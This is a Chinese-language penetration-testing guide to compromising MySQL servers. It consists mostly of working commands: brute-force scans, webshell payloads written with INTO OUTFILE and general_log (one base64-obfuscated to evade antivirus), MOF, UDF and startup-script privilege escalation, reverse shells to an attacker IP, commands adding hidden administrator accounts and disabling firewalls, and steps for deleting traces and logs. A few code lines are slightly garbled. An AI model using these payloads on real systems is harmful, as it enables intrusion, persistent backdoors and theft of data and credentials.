Mysql數據庫是目前世界上使用最為廣泛的數據庫之一,很多著名公司和站點都使用Mysql作為其數據庫支撐,目前很多架構都以Mysql作為數據庫管理系統,例如LAMP、和WAMP等,在針對網站滲透中,很多都是跟Mysql數據庫有關,各種Mysql注入,Mysql提權,Mysql數據庫root賬號webshell獲取等的,但沒有一個對Mysql數據庫滲透較為全面對總結,針對這種情況我們開展了研究,雖然我們團隊今年正在出版《網絡攻防實戰研究——漏洞利用與提權》,但技術的進步有無止境,思想有多遠,路就可以走多遠,在研究mysql數據庫安全之余,對Mysql如何通過msf、sqlmap等來進行掃描、漏洞利用、提權、Mysql密碼破解和獲取webshell等進行了詳細研究。
1.1 Mysql信息收集
1.端口信息收集
Mysql默認端口是3306端口,但也有自定義端口,針對默認端口掃描主要利用掃描軟件進行探測,推薦使用:
-
-
iisputter,直接填寫3306端口,IP地址填寫單個或者C段地址。
-
nmap掃描nmap -p 3306 192.168.1.1-254
-
特定目標的滲透,可能需要對全端口進行掃描,可以使用Nmap對某一個IP地址進行全端口掃描,端口掃描軟件還有sfind等DOS下掃描的工具。
2.版本信息收集
(1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模塊,以掃描主機192.168.157.130為例,命令為:
use auxiliary/scanner/mysql/mysql_version set rhosts 192.168.157.130 run |
(2)mysql查詢版本命令:
SELECT @@version`、`SELECT version(); |
(3)sqlmap通過注入點掃描確認信息:
sqlmap.py -u url --dbms mysql |
(4)phpmyadmin管理頁面登錄后查看localhost->變量->服務器變量和設置中的version參數值。
3.數據庫管理信息收集
Mysql管理工具有多種,例如phpmyadmin網站管理,Navicat for MySQL以及MysqlFront等客戶端工具。這些工具有的會直接保存配置信息,這些信息包含數據庫服務器地址和數據庫用戶名以及密碼,通過嗅探或者破解配置文件可以獲取密碼等信息。
4.msf信息收集模塊
(1)mysql哈希值枚舉
use auxiliary/scanner/mysql/mysql_hashdump set username root set password root run |
(2)獲取相關信息
use auxiliary/admin/mysql/mysql_enum set username root set password root run |
獲取數據庫版本,操作系統名稱,架構,數據庫目錄,數據庫用戶以及密碼哈希值。
(3)執行mysql語句,連接成功后可以在msf執行sql語句,跟sqlmap的–sql-shell模塊類似。
use auxiliary/admin/mysql/mysql_sql |
(4)將mysql_schem導出到本地 /root/.msf4/loot/文件夾下
use auxiliary/scanner/mysql/mysql_schemadump |
(5)文件枚舉和目錄可寫信息枚舉
auxiliary/scanner/mysql/mysql_file_enum auxiliary/scanner/mysql/mysql_writable_dirs |
沒有測試成功過,需要定義枚舉目錄和相關文件,覺得基本沒有啥用。
1.2Mysql密碼獲取
1.2.1暴力破解
Mysql暴力破解主要有幾種:
1.網頁在線連接破解
可以使用burpsuite和phpMyAdmin多線程批量破解工具。 下載: https://portswigger.net/burp/、 http://pan.baidu.com/s/1c1LD6co
2.msf通過命令行進行暴力破解
msf破解mysql密碼模塊auxiliary/scanner/mysql/mysql_login,其參數主要有BLANK_PASSWORDS、BRUTEFORCE_SPEED、DB_ALL_CREDS、DB_ALL_PASS、DB_ALL_USERS、PASSWORD、PASS_FILE、Proxies、RHOSTS、RPORT、STOP_ON_SUCCESS、THREADS、USERNAME、USERPASS_FILE、USER_AS_PASS、USER_FILE、VERBOSE參數。對單一主機僅僅需要設置RHOSTS、RPORT、USERNAME、PASSWORD和PASS_FILE,其它參數根據實際情況進行設置。
(1)場景A:對內網獲取root某一個口令后,擴展滲透
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set password root set username root run |
執行后對192.168.157.1-254進行mysql密碼掃描驗證。
(2)場景B:使用密碼字典進行掃描
use auxiliary/scanner/mysql/mysql_login set RHOSTS 192.168.157.1-254 set pass_file /tmp/password.txt set username root run |
3.使用nmap掃描並破解密碼
(1)對某一個IP或者IP地址段進行nmap默認密碼暴力破解並掃描
nmap --script=mysql-brute 192.168.157.130 nmap --script=mysql-brute 192.168.157.1-254 |
(2)使用root賬號root密碼進行mysql密碼驗證並掃描獲取指定IP地址的端口信息以及mysql數據庫相關信息
nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130 |
(3)檢查root空口令
nmap --script mysql-empty-password 192.168.195.130 |
4.使用hscan工具對mysql口令進行掃描,需要設置掃描IP地址段以及數據庫口令字典及用戶名字典。
1.2.2源代碼泄露
1.網站源代碼備份文件
一些網站源代碼文件中會包含數據庫連接文件,通過查看這些文件可以獲取數據庫賬號和密碼。一般常見的數據庫連接文件為config.php、web.config、conn.asp、db.php/asp、jdbc.properties、sysconfig.properties、JBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘雞可以自定義網站等名稱對zip/rar/tar/tar.gz/gz/sql等后綴文件進行掃描。
2.配置備份文件
使用ultraedit等編輯文件編輯數據庫配置文件后,會留下bak文件。
1.2.3文件包含
本地文件包含漏洞可以包含文件,通過查看文件代碼獲取數據庫配置文件,進而讀取數據庫用戶名和密碼。
1.2.4其它情況
有些軟件會將IP地址、數據庫用戶名和密碼寫進程序中,運行程序后,通過cain軟件進行嗅探,可以獲取數據庫密碼。另外Mysql客戶端管理工具有的管理員會建立連接記錄,這些連接記錄保存了用戶名、密碼和連接IP地址或者主機名,通過配置文件或者嗅探可以獲取用戶名和密碼。
1.3Mysql獲取webshell
1.3.1phpmyadminroot賬號獲取webshell
MysqlRoot賬號通過phpMyAdmin獲取webshell的思路,主要有下面幾種方式,以第一二六八種方法較佳,其它可以根據實際情況來進行。
1.直接讀取后門文件
通過程序報錯、phpinfo函數、程序配置表等直接獲取網站真實路徑,有些網站前期已經被人滲透過,因此在目錄下留有后門文件通過load_file直接讀取。
2.直接導出一句話后門
前提需要知道網站的真實物理路徑,例如呼求偶真實路徑D:\work\WWW,則可以通過執行以下查詢,來獲取一句話后門文件cmd.php,訪問地址 http://www.somesite.com/cmd.php
select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php' |
3.創建數據庫導出一句話后門
在查詢窗口直接執行以下代碼即可,跟2.原理類似。
CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL ); INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>'); SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php'; DROP TABLE IF EXISTS `antian365`; |
4.可執行命令方式
創建執行命令形式的shell,但前提是對方未關閉系統函數。該方法導出成功后可以直接執行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接執行dos命令)。
select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php' |
另外在linux下可以導出直接執行命令的shell:
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'; |
http://localhost/shell.php?c=cat%20/etc/passwd
5.過殺毒軟件方式
通過后台或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內容如下:
<?php $a=' PD9waHAgQGV2YWwoJF9QT1NUWyd hbnRpYW4zNjUnXSk7ZGllKCk7Pz4= '; error_reporting(0); @set_time_limit(0); eval("?>".base64_decode($a)); ?> |
然后通過圖片包含temp.php,導出webshell。
select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php' |
一句話后門密碼:antian365
6.直接導出加密webshell
一句話后門文件密碼:pp64mqa2x1rnw68,執行以下查詢直接導出加密webshell,D:/WEB/IPTEST/22.php,注意在實際過程需要修改D:/WEB/IPTEST/22.php。
注意:
也可以使用 http://tool.lu/hexstr/ 網站的代碼轉換來實現,將需要導出的文件代碼復制到網站的字符串中,通過字符串轉成十六進制,將十六進制字符串放入unhex函數進行查詢即可:
select unhex('十六進制字符串') into dumpfile 'D:/WEB/shell.php' |
7.CMS系統獲取webshell
有些情況下無法獲取網站的真實路徑,則意味着無法直接導出一句話webshell,可以通過CMS系統管理賬號登錄系統后,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號后直接上傳文件來獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統可以直接上傳php文件。下面是一些CMS系統滲透的技巧:
-
-
dedecms系統的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對剩余的值進行md5解密即可;
-
phpcms v9版本的密碼需要加salt進行破解,需要選擇破解算法md5(md5($pass).$salt)進行破解。
-
Discuz!論壇帳號保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進行,其破解時是使用password:salt進行,例如a0513df9929afc972f024fa4e586e829:399793。
-
8.general_log_file獲取webshell
(1)查看genera文件配置情況
show global variables like "%genera%"; |
(2)關閉general_log
set global general_log=off; |
(3)通過general_log選項來獲取webshell
set global general_log='on'; SET global general_log_file='D:/phpStudy/WWW/cmd.php'; |
在查詢中執行語句:
SELECT '<?php assert($_POST["cmd"]);?>'; |
Shell為cmd.php,一句話后門,密碼為cmd。
1.3.2sqlmap注入點獲取webshell
sqlmap注入點獲取webshell的前提是具備寫權限,一般是root賬號,通過執行命令來獲取:
sqlmap -u url--os-shell echo "<?php @eval($_POST['c']);?>" >/data/www/1.php |
1.4Mysql提權
1.4.1mof提權
1.Webshell上傳mof文件提權
MySQL Root權限MOF方法提權是來自國外Kingcope大牛發布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit( https://www.exploit-db.com/exploits/23083/),簡稱mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:
方法1:運行 MOF 文件指定為命令行參數 Mofcomp.exe 文件。 方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。 方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。 |
Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三種方法僅為向后兼容性與早期版本的?WMI提供,並因為此功能可能不會提供在將來的版本后,不應使用。注意使用MOF方法提權的前提是當前Root帳號可以復制文件到%SystemRoot%\System32\Wbem\MOF目錄下,否則會失敗!
該漏洞的利用前提條件是必須具備mysql的root權限,在Kingcope公布的0day中公布了一個pl利用腳本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555 |
192.168.2.100為mysql數據庫所在服務器,mysql口令為空,反彈到192.168.2.150的5555端口上。
2.生成nullevt.mof文件
將以下代碼保存為nullevt.mof文件:
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select \ From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; |
3.通過Mysql查詢將文件導入
執行以下查詢語句,將上面生成的nullevt.mof導入到c:\windows\system32\wbem\mof\目錄下在windows7中默認是拒絕訪問的。導入后系統會自動運行,執行命令。
selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; |
1.4.2.Msf直接mof提權
Msf下的exploit/windows/mysql/mysql_mof模塊提供了直接Mof提權,不過該漏洞成功跟操作系統權限和Mysql數據庫版本有關,執行成功后會直接反彈shell到meterpreter。
use exploit/windows/mysql/mysql_mof set rhost 192.168.157.1 //設置需要提權的遠程主機IP地址 set rport 3306 //設置mysql的遠程端口 set password root //設置mysql數據庫root密碼 set username root //設置mysql用戶名 options //查看設置 run 0 |
技巧:
要是能夠通過網頁連接管理(phpmyadmin),則可以修改host為%並刷新權限后,則可以通過msf等工具遠程連接數據庫。默認root等賬號不允許遠程連接,除非管理員或者數據庫用戶自己設置。
方法1:本地登入mysql,更改?mysql數據庫里的?user?表里的?host項,將localhost改為%
use mysql; update user set host = '%' where user = 'root'; FLUSH PRIVILEGES ; select host, user from user; |
方法2:直接授權(推薦)
從任何主機上使用root用戶,密碼:youpassword(你的root密碼)連接到mysql服務器:
# mysql -u root -proot GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION; FLUSH PRIVILEGES; |
推薦重新增加一個用戶,在實際測試過程中發現很多服務器使用root配置了多個地址,修改后可能會影響實際系統的運行。在實際測試過程中因此建議新增一個用戶,授權所有權限,而不是直接更改root配置。
1.4.3UDF提權
UDF提權是利用MYSQL的自定義函數功能,將MYSQL賬號轉化為系統system權限,其利用條件是目標系統是Windows(Win2000,XP,Win2003);擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數,有root賬號密碼
Windows下UDF提權對於Windows2008以下服務器比較適用,也即針對Windows2000、Windows2003的成功率較高。
1.UDF提權條件
-
-
Mysql版本大於5.1版本udf.dll文件必須放置於MYSQL安裝目錄下的lib\plugin文件夾下。
-
Mysql版本小於5.1版本。udf.dll文件在Windows2003下放置於c:\windows\system32,在windows2000下放置於c:\winnt\system32。
-
掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備`root賬號所具備的權限的其它賬號也可以。
-
可以將udf.dll寫入到相應目錄的權限。
-
2.提權方法
(1)獲取數據庫版本、數據位置以及插件位置等信息
select version();//獲取數據庫版本 select user();//獲取數據庫用戶 select @@basedir ;//獲取安裝目錄 show variables like '%plugins%'; //尋找mysql安裝路徑 |
(2)導出路徑
C:\Winnt\udf.dll Windows 2000 C:\Windows\udf.dll Windows2003(有的系統被轉義,需要改為C:Windowsudf.dll) |
MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數。該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。
在某些情況下,我們會遇到Can’t open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,網上大牛發現利用NTFS ADS流來創建文件夾的方法:
select @@basedir; //查找到mysql的目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS創建lib目錄 select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS創建plugin目錄 |
執行成功以后就會plugin目錄,然后再進行導出udf.dll即可。
(3)創建cmdshell 函數,該函數叫什么名字在后續中則使用該函數進行查詢:
create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’; |
(4)執行命令:
select sys_eval(‘whoami’); |
一般情況下不會出現創建不成功哦。
連不上3389可以先停止windows防火牆和篩選
select sys_eval(‘net stop policyagent’); select sys_eval(‘net stop sharedaccess’); |
udf.dll下常見函數:
cmdshell 執行cmd; downloader 下載者,到網上下載指定文件並保存到指定目錄; open3389 通用開3389終端服務,可指定端口(不改端口無需重啟); backshell 反彈Shell; ProcessView 枚舉系統進程; KillProcess 終止指定進程; regread 讀注冊表; regwrite 寫注冊表; shut 關機,注銷,重啟; about 說明與幫助函數; |
具體用戶示例:
select cmdshell('net user iis_user 123!@#abcABC /add'); select cmdshell('net localgroup administrators iis_user /add'); select cmdshell('regedit /s d:web3389.reg'); select cmdshell('netstat -an'); |
(5)清除痕跡
drop function cmdshell;//將函數刪除 |
刪除udf.dll文件以及其它相關入侵文件及日志。
(6)常見錯誤
1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement |
在my.ini或者mysql.cnf文件中注銷 (使用#號) 包含secure_file_priv的行(SHOW VARIABLES LIKE “secure_file_priv”)。
1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option |
需要將my.ini中的skip-grant-tables選項去掉。
3.webshell下udf提權
通過集成udf提權的webshell輸入數據庫用戶名及密碼以及數據庫服務器地址或者IP通過連接后導出進行提權。
4.Mysql提權綜合利用工具
v5est0r 寫了一個Mysql提權綜合利用工具,詳細情況請參考其代碼共享網站: https://github.com/v5est0r/Python_FuckMySQL其主要功能有:
(1)自動導出你的backdoor和mof文件 (2)自動判斷mysql版本,根據版本不同導出UDF的DLL到不同目錄,UDF提權 (3)導出LPK.dll文件,劫持系統目錄提權 (4)寫啟動項提權 |
UdF自動提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf |
LPK劫持提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk |
啟動項提權:
python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst |
例如通過LOAD_FILE來查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,這無法進行提權
1.6.3無法獲取webshell提權
1.連接mysql
(1)mysql.exe -h ip -uroot -p (2)phpmyadmin (3)Navicat for MySQL |
2.查看數據庫版本和數據路徑
SELECT VERSION( ); Select @@datadir; 5.1以下版本,將dll導入到c:/windows或者c:/windows/system32/ 5.1以上版本 通過以下查詢來獲取插件路徑: SHOW VARIABLES WHERE Variable_Name LIKE "%dir"; show variables like '%plugin%' ; select load_file('C:/phpStudy/Apache/conf/httpd.conf') select load_file('C:/phpStudy/Apache/conf/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf') select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf') select load_file('d:/phpStudy/Apache/conf/vhosts.conf') |
3.修改mysql.txt
Mysql.txt為udf.dll的二進制文件轉成十六進制代碼。
(1)先執行導入ghost表中的內容
修改以下代碼的末尾代碼 select backshell(“YourIP”,4444);
(2)導出文件到某個目錄
select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; select load_file('C:/ProgramData/MySQL/ MySQL Server 5.1/Data/mysql/user.frm'); select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll' |
(3)查看FUNCTION中是否存在cmdshell和backshell
存在則刪除:
drop FUNCTION cmdshell;//刪除cmdshell drop FUNCTION backshell;//刪除backshell |
創建backshell:
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創建backshell |
在具備獨立主機的服務器上執行監聽:
nc -vv -l -p 44444 |
執行查詢:
select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口 |
4.獲取webshell后添加用戶命令
注意如果不能直接執行,則需要到c:\windows\system32\下執行
net user antian365 www.xianzhi.aliyun.com /add net localgroup administrators antian365 |
1.6.4sqlmap直連數據庫提權
Sqlmap直接連接數據庫提權,需要有寫入權限和root賬號及密碼,命令如下:
(1)連接數據庫
sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell |
(2)選擇操作系統的架構,32位操作系統選擇1,64位選擇2.
(3)自動上傳udf或提示os-shell
(4)執行whomai命令如果獲取系統權限,則表示提權成功。
4.msfudf提權
Kali滲透測試平台下執行(kali下載地 https://www.kali.org/downloads/):
msfconsole use exploit/windows/mysql/mysql_payload options set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run 0或者exploit |
msf下udf提權成功率並不高,跟windows操作系統版本,權限和數據庫版本有關,特別是secure-file-priv選項,如果有該選項基本不會成功。
1.6.4啟動項提權
1.創建表並插入vbs腳本到表中
依次使用以下命令:
show databases ; use test; show tables; create table a (cmd text); insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ; insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); select \ from a; |
-
導出vbs腳本到啟動
使用以下命令將剛才在a表中創建的vbs腳本導出到啟動選項中。
select \ from a into outfile "C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動\\a.vbs"; |
導入成功后,系統重新啟動時會自動添加密碼為“1”且用戶名稱為“1”的用戶到管理員組中。在實際使用過程中該腳本成功執行的幾率比較低,有時候會出現不能導出的錯誤.
推薦使用以下腳本:
show databases ; use test; show tables; create table b (cmd text); insert into b values ("net user Aspnet123545345! /add"); insert into b values ("net localgroup administrators Aspnet /add"); insert into b values ("del b.bat"); select from b into outfile "C:\\Documents and Settings\\All Users\\ 「開始」菜單\\程序\\啟動\\b.bat"; |
該腳本執行后雖然會閃現Dos窗口,如果有權限導入到啟動選項中,則一定會執行成功,在虛擬機中通過MySQL連接器連接並執行以上命令后,在C:\Documents and Settings\All Users\「開始」菜單\程序\啟動目錄中會有剛才導出的b.bat腳本文件
說明
在不同的操作系統中C:\Documents and Settings\All Users\「開始」菜單\程序\啟動目錄文件名稱可能會不同,這個時候就要將其目錄換成相應的目錄名稱即可。例如如果是英文版本操作系統則其插入的代碼為:
select from b into outfile "C:\\Documents and Settings\\All Users\\ Start Menu\\Programs\\Startup\\b.bat"; |
Windows 2008 Server的啟動目錄為:
C:\\ProgramData\\Microsoft\\Windows \\Start Menu\\Programs\\Startup\\iis.vbs |
其vbs方法可以參考如下寫法:
create table a (cmd text); insert into a values ("set wshshell= createobject (""wscript.shell"" ) " ); insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " ); insert into a values ("b=wshshell.run ("" cmd.exe /c net localgroup Administrators antian365 /add"",0) " ); select \ from a into outfile "C:\\ProgramData\\Microsoft\\ Windows\\Start Menu\\Programs\\Startup\\iis.vbs"; |
3.msf下模塊exploit/windows/mysql/mysql_start_up提權
use exploit/windows/mysql/mysql_start_up set rhost 192.168.2.1 set rport 3306 set username root set password 123456 run |
msf下mysql_start_up提權有一定的幾率,對英文版系統支持較好。
1.7Msf其它相關漏洞提權
1.Mysql身份認證漏洞及利用(CVE-2012-2122)
當連接MariaDB/MySQL時,輸入的密碼會與期望的正確密碼比較,由於不正確的處理,會導致即便是memcmp()返回一個非零值,也會使MySQL認為兩個密碼是相同的。也就是說只要知道用戶名,不斷嘗試就能夠直接登入SQL數據庫。按照公告說法大約256次就能夠蒙對一次。受影響的產品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.
MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.
use auxiliary/scanner/mysql/ mysql_authbypass_hashdump |
2.exploit/windows/mysql/mysql_yassl_hello
3.exploit/windows/mysql/scrutinizer_upload_exec
1.8.mysql密碼破解
1.8.1cain工具破解mysql密碼
使用UltraEdit-32編輯器直接打開user.MYD文件,打開后使用二進制模式進行查看,在root用戶后面是一串字符串,選中這些字符串將其復制到記事本中,這些字符串即為用戶加密值,例如506D1427F6F61696B4501445C90624897266DAE3。
注意:
-
-
root后面的“”不要復制到字符串中。
-
在有些情況下需要往后面看看,否則得到的不是完整的MYSQLSHA1密碼,總之其正確的密碼位數是40位。
-
安裝cain工具,使用cracker,右鍵單擊“Add tolist”將Mysql Hashes值加入到破解列表中,使用軟件中的字典、暴力破解等方式來進行暴力破解。
1.8.2網站在線密碼破解
-
-
cmd5.com破解。將獲取的mysql值放在cmd5.com網站中進行查詢,mysql密碼一般都是收費的。
-
somd5.com破解。Somd5.com是后面出現的一個免費破解網站,每次破解需要手工選擇圖形碼進行破解,速度快,效果好,只是每次只能破解一個,而且破解一次后需要重新輸入驗證碼。
-
1.8.3oclhash破解
hashcat支持很多種破解算法,免費開源軟件,官方網站 https://hashcat.net/hashcat/,破解命令:
hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323類型
hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5類型
1.8.4 John the Ripper password cracker
John the Ripper下載地址: http://www.openwall.com /john/h/john179w2.zip,John the Ripper除了能夠破解linux外,還能破解多種格式的密碼。
Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B> hashes.txt John –format =mysql-sha1 hashes.txt john --list=formats | grep mysql //查看支持mysql密碼破解的算法 |